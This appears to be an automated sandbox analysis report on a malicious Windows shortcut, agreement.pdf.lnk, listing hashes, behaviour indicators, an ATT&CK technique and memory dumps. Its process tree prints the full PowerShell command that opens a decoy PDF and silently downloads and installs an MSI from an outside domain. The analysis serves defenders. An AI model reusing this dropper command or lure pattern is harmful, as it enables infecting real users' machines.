db2455440bb46036cbb5b7652786e005a837f5e2784540faca0a5c198d8952e6

Analysis

max time kernel
42s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
30/01/2023, 23:49

Target

agreement.pdf.lnk
Size

2KB
MD5

291d82d4bcfcbb060f93143d7d04be74
SHA1

3473c3e5b8c9379ebe0ef0fb59211e43ada4b716
SHA256

db2455440bb46036cbb5b7652786e005a837f5e2784540faca0a5c198d8952e6
SHA512

9d35371987d01be209bc65598c1c1a422c8782160c2ff9831ee7a90800e1b5a1b85e9db4104b6d41d34cb2fc94797b9d05399dc105e3a49f572407afbe516fee

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1384	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1384	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 1384	1792	cmd.exe	29
PID 1792 wrote to memory of 1384	1792	cmd.exe	29
PID 1792 wrote to memory of 1384	1792	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\agreement.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" start microsoft-edge:https://docus.space/agrnt.pdf; Invoke-WebRequest -URI https://docus.space/dl.php -outfile $env:TEMP\Driver.msi; Push-Location -Path $env:TEMP; .\Driver.msi /qn; ex
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1384

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1384-93-0x000007FEF41E0000-0x000007FEF4C03000-memory.dmp

Filesize
10.1MB

Download
memory/1384-95-0x0000000002474000-0x0000000002477000-memory.dmp

Filesize
12KB

Download
memory/1384-94-0x000007FEF3680000-0x000007FEF41DD000-memory.dmp

Filesize
11.4MB

Download
memory/1384-96-0x000000001B6E0000-0x000000001B9DF000-memory.dmp

Filesize
3.0MB

Download
memory/1384-97-0x000000000247B000-0x000000000249A000-memory.dmp

Filesize
124KB

Download
memory/1384-98-0x0000000002474000-0x0000000002477000-memory.dmp

Filesize
12KB

Download
memory/1384-99-0x000000000247B000-0x000000000249A000-memory.dmp

Filesize
124KB

Download
memory/1792-54-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp

Filesize
8KB

Download